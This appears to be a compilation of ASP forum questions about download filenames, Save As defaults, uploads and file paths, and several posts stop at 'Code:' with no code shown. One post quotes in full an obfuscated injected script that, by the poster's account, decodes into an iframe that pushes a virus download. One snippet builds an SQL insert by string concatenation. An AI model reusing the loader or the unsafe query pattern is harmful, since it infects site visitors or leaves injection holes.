I have an asp page that produces output from a database. This allows a
simple way for the user to save the data to a text file by going to
File->Save as...
The default save as options always defaults to a particular filename and the
save as type is always html, therefore the user has to manually type a
filename and choose Text File (*.txt) as the type.
I remember I was able to overide ride these options with the following code.
I'm using a binary stream to send down a file with ASP from the web server. I've been having trouble with IE and getting it to recognize my file. I've added the filename as a paramater(?filename=file.jpgw) to handle IE's mime type mangling, but I'm still having trouble with IE's default Save As Type being HTML.
When we send down a jpgw (geo-jpeg) file IE wants to save it as an HTML file. I've got the correct filename showing in the Filename box, and if I choose the All Files option from the Save As Type drop down then the file is saved with the correct extension. I'd like to have the All Files option choosen by default. I know it's just a couple of clicks but we have some noivce users that can't seem to get that.
I use the Stream method to serve certain file types to the user. If the type is pdf, it opens in the browser fine. My problem is with those that the browser doesn't have plug-ins such as ppt, word, etc. it prompts to choose Open/Save/Cancel and defaults the filename to the ASP page serving the content. ie. BinarySend.asp -> BinarySend.doc, BinarySend.ppt.
If I use Response.AddHeader "content-disposition", "attachment;filename=" & sFileName then it defaults the filename to the name I specify but always prompt a download instead of opening directly.
Is there another way to default the filename in situation like this?
I'm building a system where a presenter uploads a PPT to my server and then I show it to all the participants. The problem is that most of the media in the PPT is usually linked, so I'll need to upload all that too.
Assuming I can parse the PPT and figure the exact name and location of each of the media files I need from his hard-disk, is there any way I can upload all these files automatically, without having to make the user choose each of these files manually? If that's not possible, can I atleast show the user a page with a list of input boxes of type file, pre-populated with the file-path and name of the media files I need, so that the user can just click 'Submit' without having to browse and select each of them?
Please say yes. It would be a major usability crisis if my users had to keep hitting the browse button so many times for each PPT! Especially when I know exactly what files I need and where they are! I know that this has a lot to do with browser security, but there's got to be SOME way out?
This is weird, I'm pretty familiar with SQL Injection - but we're getting these weird injection that is writing in the default document or home page. What it's doing is putting in script code at the top or bottom of the home page... it looks something like this:
<script>function xy1q4877d47d91a36(q4877d47d92209){ function q4877d47d929d5 () {return 16;} return (parseInt(q4877d47d92209,q4877d47d929d5()));}funct ion q4877d47d93974(q4877d47d94144){ var q4877d47d95c9b=2; var q4877d47d94d7f='';q4877d47d96c3a=String.fromCharCo de;for(q4877d47d954cc=0;q4877d47d954cc<q4877d47d94144.length;q4877d47d954cc+=q4877d47d95c 9b){ q4877d47d94d7f+=(q4877d47d96c3a(xy1q4877d47d91a36( q4877d47d94144.substr(q4877d47d954cc,q4877d47d95c9 b))));}return q4877d47d94d7f;} var q4877d47d9740a='3C7363726970743E696628216D79696129 7B646F63756D656E742E777269746528756E65736361706528 20272533632536392536362537322536312536642536352532 30253733253732253633253364253237253638253734253734 25373025336125326625326625373425373225373525363525 37322536392536652536372537342536662536652536352537 33253265253665253635253734253266253733253635253631 25373225363325363825326525363325363725363925336625 36322536312536312536372536392537322536632625323725 32622534642536312537342536382532652537322536662537 35253665253634253238253464253631253734253638253265 25373225363125366525363425366625366425323825323925 32612533352533352533352533362533372532392532622532 37253634253335253332253338253237253230253737253639 25363425373425363825336425333125333825333125323025 36382536352536392536372536382537342533642533332533 30253337253230253733253734253739253663253635253364 25323725363425363925373325373025366325363125373925 33612532302536652536662536652536352532372533652533 63253266253639253636253732253631253664253635253365 2729293B7D766172206D7969613D747275653B3C2F73637269 70743E';document.write(q4877d47d93974(q4877d47d974 0a));</script>
What it's doing is decoding itself into an iframe that links out to popups that will try and download a virus on your machine. I don't get the popup in my machine because i think i have a newer version of IE. But some people have complained that it is installing a virus on their machine.
Also what is crazy is when I replace the file with a good version. In about 30 mins, it automatically overwritten with the infected version. Also I've noticed it on some other websites that I haven't touched.
Has anyone encountered this before? Because I'm stumped as to the cause of it. I don't see the issue on our dev server. It seems to be IIS on a shared host.
I am sending an attachment to a user with the following code. This successfully prompts the user to Save or Open, provides the correct file name, and displays "Microsoft Excel Worksheet" as the Type.
However, when the user clicks "Save", the "Save As File Type" in the resulting dialog displays 'HTML Document'. There is only one other entry in the list - "All Files". How can I modify the code to display "Excel Document" (or some such) in the "Save As Type" list? Code:
when I submit I get the error message "File not found"
So a did a respnse write to write my filename and found it is now called 2006_Apr_19-83955.23.bin It seems to be the time as it changes each time I try and get the filename to write...
this is the code on my delete page
<% Dim Upload Dim FileName Dim Folder Set Upload = New clsUpload FileName = Upload("File1").FileName response.write "Here is the file " & FileName & " name <br>"
Folder = Server.MapPath("..country") & "" & strPathToSave response.write "Here is the folder " & folder & " name"
I have some ASP pages on my intranet site providing a helpdesk to my users. As part of logging a helpdesk call I am prompting them to link to a file using input type="file".
The file is on a network drive and the problem is when you click on the browse button it defaults to the clients desktop as the starting point of the browsing process. I would like to set a default location to start browsing eg etwork_serverhelpdesk to avoid confusion. Does anyone know of a way to do this ?
I got a problem while running an application. The code for this is as follows:
aList = Split(strMsg,";") For nX = 0 to UBound(aList) strarry=split(aList(nX),"_") var_year=left(strarry(2),4) var_month=mid(strarry(2),5,2) var_day=mid(strarry(2),7,2) var_date=var_day&"-"&var_month&"-"&var_year var_time1=mid(strarry(2),9,2) var_time2=mid(strarry(2),11,2) var_time=var_time1&":"&var_time2 set rs1=conn.execute("insert into tbl_BackupfileInfo(Filename,Createddate,Createdtim e)values('" &aList(nX)&"','"&var_date&"','"&var_time&"')") Next
while runnig this application some times it works fine .But some times it giving an error
Error Type:Microsoft VBScript runtime (0x800A000D) Type mismatch: 'UBound'.
I'm looking for a way to check if a directory has any filenames with 'w9' in it, and if so print 'yes' in the appropriate place. My database has a field called CustomFieldFilesDir where the appropriate folder structure is already entered for each person ex. 'p:john doe'. I've searched and found scripts that look at extensions but not the file names themselves.
i have this form to upload a document to a folder on the server. i have a field where you browse the files on your computer to upload to the server. once that field is chosen i would like another field to be populated automatically with only the document's name, without the path extension on it. does anyone know how to go about doing this?
My problem is: i need to write an ASP page which first checks whether the user has permissions to download a ZIP file, and then streams the file itself if the user is allowed to see it.
I have succeeded until this point, but the client browser asks to save the file with the original filename (and ASP extension). Obviously this would mean making the downloaded file unusable at client side, unless I tell the site user to manually rename it, but this is not a solution.
So I ask you: is there any way for an ASP page to stream data to the browser and have it saved with a default file name and extension which are different from the page's ones? Code:
I want to have a form where there is a textfield and a Browse... button to the right of it. I want the user to be able to press the Browse... button and select a file and then that filename be returned to the textfield.
I don't want it to upload it or anything like that...I just want to know the filename that the user has selected. Also, when the user presses the Browse... button, I want it to automatically go to a certain place.
I have an asp file upload facility on my website and I now want to add a timestamp to the name of each file uploaded to my webserver to ensure no clash of names. I have no idea how to code it so egfile.txt will arrive on the server as egfileYYYYMMDDhhmmss.txt (or something similar). Is it possible to do?
I've created an upload application that allows a user to upload a file a space on the web server.
What I want is when a user selects the file to upload, when the upload process takes places, a random number is generated and added to that filename.
I work out I can add the code:
intrandomnumber = Int((1000000-1+1)*Rnd+1)
but how do you do the change to the filename when it uploaded as I can change the filename name but the physical filename name would be the filename held on the user PC?
I am storing URL in a database for a 'sort of' directory type website.The <a href> is built from the recordset of URL's which is all working no problem, easy stuff.What I have found is going to be necessary in some cases is to trim the URL back to just it's www.abc.co.uk address for the link display.
I still want the actual link to go to it's long 'deep linking' location, but there is limited room for displaying a URL that could be a hundred chars long.
I'm making an error tracking system.I want to include a file (or function) at the top of each page which gets the A) current file name B) directory the file is in. In PHP this is $_SERVER( PHP_SELF )
On a side note, why is it that you can type "PHP SERVER FUNCTIONS" in google and get wonderful results, whereas "ASP SERVER FUNCTIONS" returns garbage?
One of the things I do is do my testing on an alternate address, then store the file as the regular address after it tests correctly, but since I might mention the test page in various forums when I ask questions, I leave it uploaded just in case someone later sees the link and clicks it.
So far, my kludgy way of handling it is to have a variable called "thispage" and set it equal to the page I'm working on, so when it links to itself, it links back to the page in question.
Is there a way of automatically testing for this value instead of manually defining it? I tried a quick Google search, but I didn't know what to call it. I assume it might be in the same general collection as the HTTP_REFERER item.
I coded a simple asp-script to force a file-download. (ex. dummy.doc). In IE6, NS4.7 and Opera 7 everything works fine and the file can be easily downloaded. But NS7 renames the filename in the dialogue-box to dummy.doc.asp . How can I prevent that?
I have a page that writes a hyperlink to files in a folder, but the hyperlink fails with the space in the filename. How can I strip out that space or replace with ? Code:
I have an ASP page that causes Excel to be loaded on the client PC with the text sent from within the page. An excerpt of it is shown below:
With Response .ContentType = "application/vnd.ms-excel" .Write(strResponse) .Flush .End End With
where strResponse is the text to be displayed in Excel. This all works fine and as expected, but the only problem is that the file is opened in Excel on the client with a filename that reflects the page from which the information originated. Is there any way of specifying the filename using MIME, for example if I wanted the file to be loaded in Excel as "myfile.xls"?
i am trying to upload files to a webserver. When i send the file of any .ext i want the filename to contain the filename and date&time in the filename filenamedatetime.xxx the following is my code piece to send the file:
If FileName <> "" Then FileName = Mid(Filename,InstrRev(FileName, "")+1) set fso = Server.CreateObject("Scripting.Filesystemobject") set fle = fso.CreateTextFile(server.MapPath(FileName)) ' write the data fle.write DataString fle.close
I'm uploading a file to my server, and I retrieve the filename. Now I can print out the filename with response.write(filename) but when I try to insert the filename into access I get a "cannot be a zero-length string." error. I'm assuming its because the filename was read in using binaryread. So how would I convert this back into a string?
How could I create a random filename for a single-use download? So, if a user was to download a file from a site it would send them a unique filename that could only be used once. That link would not be available after the download completed.
I'm using the following method to retrieve the filname from a full server path:
<% sub getfname(strPath) Dim fName fName = Mid(strPath,InStrRev(strPath,"")+1) 'fName = strPath Response.Write( fName ) end sub %>
However this only works on Windows systems as it checks for backslash. Is there a more generic way to do this, or should I check for both backslash and slash in the path?
I need to browse filenames in a directory and insert them into my sql table. I want to run this in an ASP page. I know how to connect to the database, etc. I just need the script on how to get the filenames.